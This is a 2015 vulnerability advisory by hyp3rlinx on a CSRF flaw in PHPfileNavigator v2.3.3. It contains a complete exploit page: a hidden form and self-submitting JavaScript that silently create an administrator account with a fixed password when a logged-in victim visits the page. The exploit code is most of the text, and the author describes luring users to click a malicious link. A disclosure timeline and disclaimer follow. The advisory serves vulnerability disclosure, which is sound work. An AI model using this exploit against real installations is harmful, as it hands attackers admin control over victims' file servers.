[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-PHPFILENAVIGATOR0812a.txt Vendor: ================================ pfn.sourceforge.net Product: =================================== PHPfileNavigator v2.3.3 (pfn) Is state-of-the-art, open source web based application to complete manage your files and folders. Vulnerability Type: ================================ CSRF add arbitrary user accounts CVE Reference: ============== N/A Vulnerability Details: ===================== No CSRF token exists when creating user accounts, this allows us to exploit the application and add arbitrary users The ?PHPSESSID= cookie used in URL is useless as we can just replace the value with whatever. e.g. ?PHPSESSID='inthesignofevil' or just omit it all together makes no difference exploit will still succeed. Next create our form POST and a self calling Javascript function, then get a logged in user to click our malicious linx or visit our webpage where they will be PWN3D. Tested using xampp-1.7.0 Exploit code(s): =============== <!DOCTYPE> <html> <!-- CSRF exploit add arbitrary user accounts with Admin privs --> <form id="USERIOS_EVILOS" action="http://localhost/PHPfileNavigator/pfn-2.3.3/xestion/usuarios/gdar.php?PHPSESSID=inthesignofevil"; method="post"> <input type="hidden" name="id_usuario" value="" /> <input type="text" id="nome" name="nome" value="hyp3rlinx" class="text" tabindex="10" /> <input type="text" id="usuario" name="usuario" value="hyp3rlinx" class="text" tabindex="20" /> <input type="password" id="contrasinal" name="contrasinal" value="abc123" class="text" tabindex="30" /> <input type="password" id="rep_contrasinal" name="rep_contrasinal" value="abc123" class="text" tabindex="40" /> <input type="text" id="email" name="email" value="h...@abysmalgod.com" class="text" tabindex="50" /> <input type="text" id="max_descargas" name="max_descargas" value="0" class="text" tabindex="60" /> <input type="text" id="actual_descargas" name="actual_descargas" value="0" class="text" tabindex="70" /> <select id="cambiar_datos" name="cambiar_datos" tabindex="75"> <option value="1" >ON</option> <option value="0" selected="selected">OFF</option> </select> <select id="id_grupo" name="id_grupo" tabindex="80"> <option value="0" selected="selected">Administrators</option> </select> <select id="admin" name="admin" tabindex="90"> <option value="1" selected="selected">ON</option> <option value="0" >OFF</option> </select> <select id="estado" name="estado" tabindex="100"> <option value="1" selected="selected">ON</option> <option value="0" >OFF</option> </select> <input type="checkbox" id="Fraices_1" name="Fraices[]" value="1" class="checkbox" /> </form> <script> (function PWN3D(){ var e=document.getElementById('USERIOS_EVILOS') e.submit() })() </script> </body> </html> Disclosure Timeline: ========================================================= Vendor Notification: August 8, 2015 August 12, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] POST Vulnerable Product: [+] PHPfileNavigator v2.3.3 (pfn) Vulnerable Parameter(s): [+] id_usuario, id_grupo Affected Area(s): [+] Admin =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
